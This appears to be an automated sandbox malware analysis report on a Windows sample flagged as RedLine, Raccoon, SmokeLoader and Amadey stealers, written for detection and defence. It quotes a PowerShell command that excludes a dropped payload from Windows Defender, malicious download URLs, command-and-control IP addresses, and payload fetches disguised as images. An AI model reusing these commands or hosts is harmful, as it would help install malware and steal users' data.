Play interactive tour

Edit tour

Windows Analysis Report 25Kf6vSBoq.exe

Overview

General Information

Sample Name:	25Kf6vSBoq.exe
Analysis ID:	511954
MD5:	3b947ed5aabdd775b1afc31a5c4d39a0
SHA1:	552aa072522f22a003cadd3bcad5e4eb981a5cbb
SHA256:	8245ad87eea6a1f19f658adef8a30b9a512760d866b7075bbf205d7a54296234
Tags:	exeRedLineStealer
Infos:
Most interesting Screenshot:

Detection

Amadey Raccoon RedLine SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Early bird code injection technique detected

Yara detected AntiVM3

Yara detected SmokeLoader

Yara detected Amadey bot

System process connects to network (likely due to code injection or exploit)

Yara detected Raccoon Stealer

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Yara detected UAC Bypass using CMSTP

DLL reload attack detected

Benign windows process drops PE files

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Allocates memory in foreign processes

Injects a PE file into a foreign processes

.NET source code contains very large array initializations

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Adds a directory exclusion to Windows Defender

Hides that the sample has been downloaded from the Internet (zone.identifier)

Checks if the current machine is a virtual machine (disk enumeration)

Sample uses process hollowing technique

Writes to foreign memory regions

Renames NTDLL to bypass HIPS

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Sigma detected: Powershell Defender Exclusion

Queues an APC in another process (thread injection)

Machine Learning detection for dropped file

Antivirus or Machine Learning detection for unpacked file

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains functionality for execution timing, often used to detect debuggers

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Detected TCP or UDP traffic on non-standard ports

Contains functionality to launch a program with higher privileges

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

25Kf6vSBoq.exe (PID: 2904 cmdline: 'C:\Users\user\Desktop\25Kf6vSBoq.exe' MD5: 3B947ED5AABDD775B1AFC31A5C4D39A0)

25Kf6vSBoq.exe (PID: 5668 cmdline: 'C:\Users\user\Desktop\25Kf6vSBoq.exe' MD5: 3B947ED5AABDD775B1AFC31A5C4D39A0)

explorer.exe (PID: 3292 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

6EC5.exe (PID: 6952 cmdline: C:\Users\user~1\AppData\Local\Temp\6EC5.exe MD5: 3B947ED5AABDD775B1AFC31A5C4D39A0)

6EC5.exe (PID: 7072 cmdline: C:\Users\user~1\AppData\Local\Temp\6EC5.exe MD5: 3B947ED5AABDD775B1AFC31A5C4D39A0)

B82B.exe (PID: 1936 cmdline: C:\Users\user~1\AppData\Local\Temp\B82B.exe MD5: F57B28AEC65D4691202B9524F84CC54A)

AdvancedRun.exe (PID: 6864 cmdline: 'C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

AdvancedRun.exe (PID: 5420 cmdline: 'C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe' /SpecialRun 4101d8 6864 MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

powershell.exe (PID: 4784 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\B82B.exe' -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 5204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

ServiceModelReg.exe (PID: 6952 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ServiceModelReg.exe MD5: FFF587A66B8D5A50A055B9CD6D632BEB)

C1B2.exe (PID: 5352 cmdline: C:\Users\user~1\AppData\Local\Temp\C1B2.exe MD5: 42758E2569239A774BECDB12698B124C)

CD0D.exe (PID: 5072 cmdline: C:\Users\user~1\AppData\Local\Temp\CD0D.exe MD5: 73252ACB344040DDC5D9CE78A5D3A4C2)

DF9C.exe (PID: 5668 cmdline: C:\Users\user~1\AppData\Local\Temp\DF9C.exe MD5: AB823DF932B3C2941A9015848EBDB97B)

EA8A.exe (PID: 3820 cmdline: C:\Users\user~1\AppData\Local\Temp\EA8A.exe MD5: 9FA070AF1ED2E1F07ED8C9F6EB2BDD29)

AdvancedRun.exe (PID: 6960 cmdline: 'C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\65199d6b-dd97-46fe-8553-5c4399d816a6\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

F4BC.exe (PID: 64 cmdline: C:\Users\user~1\AppData\Local\Temp\F4BC.exe MD5: 31BE6099D31BDBF1ED339EFFDC1C7064)

3D1.exe (PID: 2220 cmdline: C:\Users\user~1\AppData\Local\Temp\3D1.exe MD5: C1EB42674C5E7180ADEFEC71EE8B1D60)

DF9C.exe (PID: 5844 cmdline: 'C:\Users\user~1\AppData\Local\Temp\DF9C.exe' MD5: AB823DF932B3C2941A9015848EBDB97B)

DF9C.exe (PID: 6772 cmdline: DF9C.exe MD5: AB823DF932B3C2941A9015848EBDB97B)

DF9C.exe (PID: 6760 cmdline: 'C:\Users\user~1\AppData\Local\Temp\DF9C.exe' MD5: AB823DF932B3C2941A9015848EBDB97B)

DF9C.exe (PID: 6128 cmdline: DF9C.exe MD5: AB823DF932B3C2941A9015848EBDB97B)

sqtvvs.exe (PID: 1404 cmdline: 'C:\Users\user~1\AppData\Local\Temp\603c0340b4\sqtvvs.exe' MD5: AB823DF932B3C2941A9015848EBDB97B)

irjbuft (PID: 6960 cmdline: C:\Users\user\AppData\Roaming\irjbuft MD5: 3B947ED5AABDD775B1AFC31A5C4D39A0)

irjbuft (PID: 7100 cmdline: C:\Users\user\AppData\Roaming\irjbuft MD5: 3B947ED5AABDD775B1AFC31A5C4D39A0)

irjbuft (PID: 1988 cmdline: C:\Users\user\AppData\Roaming\irjbuft MD5: 3B947ED5AABDD775B1AFC31A5C4D39A0)

irjbuft (PID: 4452 cmdline: C:\Users\user\AppData\Roaming\irjbuft MD5: 3B947ED5AABDD775B1AFC31A5C4D39A0)

cleanup

Malware Configuration

No configs have been found

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\C1B2.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7a2f9:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\EA8A.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\B82B.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/

Memory Dumps

Source	Rule	Description	Author
00000016.00000003.418065622.0000000002FC0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001C.00000002.462341902.0000000004791000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000027.00000000.491819153.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000F.00000002.382786562.0000000001F70000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000027.00000000.500851808.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000027.00000000.495421124.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000004.00000000.296771196.0000000002871000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001C.00000002.461574944.0000000002B80000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000027.00000000.494034054.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.312112789.0000000002051000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000016.00000002.447688119.0000000004BA1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001F.00000002.570848013.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000027.00000002.568880871.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000016.00000002.434655880.0000000003000000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001F.00000003.458016800.0000000004870000.00000004.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000014.00000003.501647744.000000000666B000.00000004.00000001.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000F.00000002.382804638.0000000001F91000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000002.00000002.311815156.0000000000420000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Process Memory Space: B82B.exe PID: 1936	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: B82B.exe PID: 1936	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
21.0.C1B2.exe.e80000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7a2f9:$x1: https://cdn.discordapp.com/attachments/
24.0.EA8A.exe.fa0000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
24.0.EA8A.exe.fa0000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
21.2.C1B2.exe.e80000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7a2f9:$x1: https://cdn.discordapp.com/attachments/
20.0.B82B.exe.850000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
22.2.CD0D.exe.2fb0e50.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
21.0.C1B2.exe.e80000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7a2f9:$x1: https://cdn.discordapp.com/attachments/
16.1.irjbuft.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
16.0.irjbuft.400000.4.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
16.0.irjbuft.400000.6.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
22.2.CD0D.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
15.2.6EC5.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
14.2.irjbuft.2bf15a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
15.0.6EC5.exe.400000.4.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
2.1.25Kf6vSBoq.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
2.2.25Kf6vSBoq.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
24.0.EA8A.exe.fa0000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
24.0.EA8A.exe.fa0000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
20.0.B82B.exe.850000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
21.0.C1B2.exe.e80000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7a2f9:$x1: https://cdn.discordapp.com/attachments/
15.1.6EC5.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
15.0.6EC5.exe.400000.6.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
13.2.6EC5.exe.2c315a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
16.2.irjbuft.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
22.3.CD0D.exe.2fc0000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
16.0.irjbuft.400000.5.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
1.2.25Kf6vSBoq.exe.2dc15a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
20.0.B82B.exe.850000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
15.0.6EC5.exe.400000.5.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
21.0.C1B2.exe.e80000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7a2f9:$x1: https://cdn.discordapp.com/attachments/
20.0.B82B.exe.850000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
Click to see the 26 entries

Sigma Overview

System Summary:

Sigma detected: Suspicious Script Execution From Temp Folder

Show sources

Source: Process started

Author: Florian Roth, Max Altgelt: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\B82B.exe' -Force, CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\B82B.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user~1\AppData\Local\Temp\B82B.exe, ParentImage: C:\Users\user\AppData\Local\Temp\B82B.exe, ParentProcessId: 1936, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\B82B.exe' -Force, ProcessId: 4784

Sigma detected: Powershell Defender Exclusion

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\B82B.exe' -Force, CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\B82B.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user~1\AppData\Local\Temp\B82B.exe, ParentImage: C:\Users\user\AppData\Local\Temp\B82B.exe, ParentProcessId: 1936, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\B82B.exe' -Force, ProcessId: 4784

Sigma detected: Non Interactive PowerShell

Show sources

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\B82B.exe' -Force, CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\B82B.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user~1\AppData\Local\Temp\B82B.exe, ParentImage: C:\Users\user\AppData\Local\Temp\B82B.exe, ParentProcessId: 1936, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\B82B.exe' -Force, ProcessId: 4784

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 0000001F.00000002.570848013.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.458016800.0000000004870000.00000004.00000001.sdmp, type: MEMORY

Antivirus detection for URL or domain

Show sources

Source: http://sysaheu90.top/game.exe	Avira URL Cloud: Label: malware
Source: http://toptelete.top/agrybirdsgamerept	Avira URL Cloud: Label: malware
Source: http://privacytoolzforyou-6000.top/downloads/toolspab2.exe	Avira URL Cloud: Label: malware
Source: http://hajezey1.top/	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe	Avira: detection malicious, Label: HEUR/AGEN.1138925
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Avira: detection malicious, Label: HEUR/AGEN.1138925

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	ReversingLabs: Detection: 45%
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	ReversingLabs: Detection: 56%
Source: C:\Users\user\AppData\Roaming\ffjbuft	ReversingLabs: Detection: 56%
Source: C:\Users\user\AppData\Roaming\fijbuft	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Roaming\irjbuft	ReversingLabs: Detection: 45%

Machine Learning detection for sample

Show sources

Source: 25Kf6vSBoq.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Roaming\irjbuft	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\fijbuft	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9C1A.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B82B.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\ffjbuft	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\3D1.exe	Joe Sandbox ML: detected

Source: 16.0.irjbuft.400000.3.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 29.0.DF9C.exe.400000.15.unpack	Avira: Label: TR/AD.Amadey.ezxiu
Source: 29.0.DF9C.exe.400000.5.unpack	Avira: Label: TR/AD.Amadey.ezxiu
Source: 29.0.DF9C.exe.400000.17.unpack	Avira: Label: TR/AD.Amadey.ezxiu
Source: 16.0.irjbuft.400000.2.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 15.0.6EC5.exe.400000.1.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 29.0.DF9C.exe.400000.7.unpack	Avira: Label: TR/AD.Amadey.ezxiu
Source: 29.0.DF9C.exe.400000.11.unpack	Avira: Label: TR/AD.Amadey.ezxiu
Source: 16.0.irjbuft.400000.1.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 15.0.6EC5.exe.400000.3.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 29.0.DF9C.exe.400000.13.unpack	Avira: Label: TR/AD.Amadey.ezxiu
Source: 15.0.6EC5.exe.400000.2.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 16.0.irjbuft.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 15.0.6EC5.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 29.0.DF9C.exe.400000.9.unpack	Avira: Label: TR/AD.Amadey.ezxiu

Exploits:

Yara detected UAC Bypass using CMSTP

Show sources

Source: Yara match	File source: 00000014.00000003.501647744.000000000666B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: B82B.exe PID: 1936, type: MEMORYSTR

Source: unknown

HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.7:49794 version: TLS 1.0

Source: 25Kf6vSBoq.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\CD0D.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.7:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.7:49778 version: TLS 1.2

Source:	Binary string: C:\vojos\fuw.pdb source: CD0D.exe, 00000016.00000000.407750577.0000000000417000.00000002.00020000.sdmp
Source:	Binary string: D:\Mktmp\NL1\Release\NL1.pdb source: DF9C.exe
Source:	Binary string: c:\Projects\VS2005\AdvancedRun\Release\AdvancedRun.pdb source: AdvancedRun.exe, 0000001B.00000000.419935360.000000000040C000.00000002.00020000.sdmp
Source:	Binary string: C:\ciwomo siju28 nijohon\93-loze\2.pdb source: F4BC.exe
Source:	Binary string: C:\wucalehozojoh\setujupiwe-y.pdb source: 25Kf6vSBoq.exe, 00000001.00000000.243151680.0000000000401000.00000020.00020000.sdmp, 25Kf6vSBoq.exe, 00000002.00000000.254410960.0000000000401000.00000020.00020000.sdmp, 6EC5.exe, 0000000D.00000000.348402437.0000000000401000.00000020.00020000.sdmp, irjbuft, 0000000E.00000000.347743203.0000000000401000.00000020.00020000.sdmp, 6EC5.exe, 0000000F.00000000.367434923.0000000000401000.00000020.00020000.sdmp, irjbuft, 00000010.00000000.374293727.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wntdll.pdbUGP source: CD0D.exe, 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp
Source:	Binary string: wntdll.pdb source: CD0D.exe
Source:	Binary string: `C:\ciwomo siju28 nijohon\93-loze\2.pdb` source: F4BC.exe, 0000001C.00000000.424216485.0000000000401000.00000020.00020000.sdmp

Source: C:\Users\user\AppData\Local\Temp\DF9C.exe

Code function: 29_2_0041B9B2 FindFirstFileExW,

29_2_0041B9B2

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.7:49812 -> 91.219.236.97:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.7:49823 -> 185.215.113.45:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: xacokuo8.top
Source: C:\Windows\explorer.exe	Network Connect: 216.128.137.31 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: privacytoolzforyou-6000.top
Source: C:\Windows\explorer.exe	Domain query: hajezey1.top
Source: C:\Windows\explorer.exe	Domain query: sysaheu90.top

Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903575517888925756/6D9E3C88.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903575519373697084/F83CB811.jpg HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/903702020781907998/4D0A6361.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/902526117016109056/AB0F9338.jpg HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /agrybirdsgamerept HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: toptelete.top
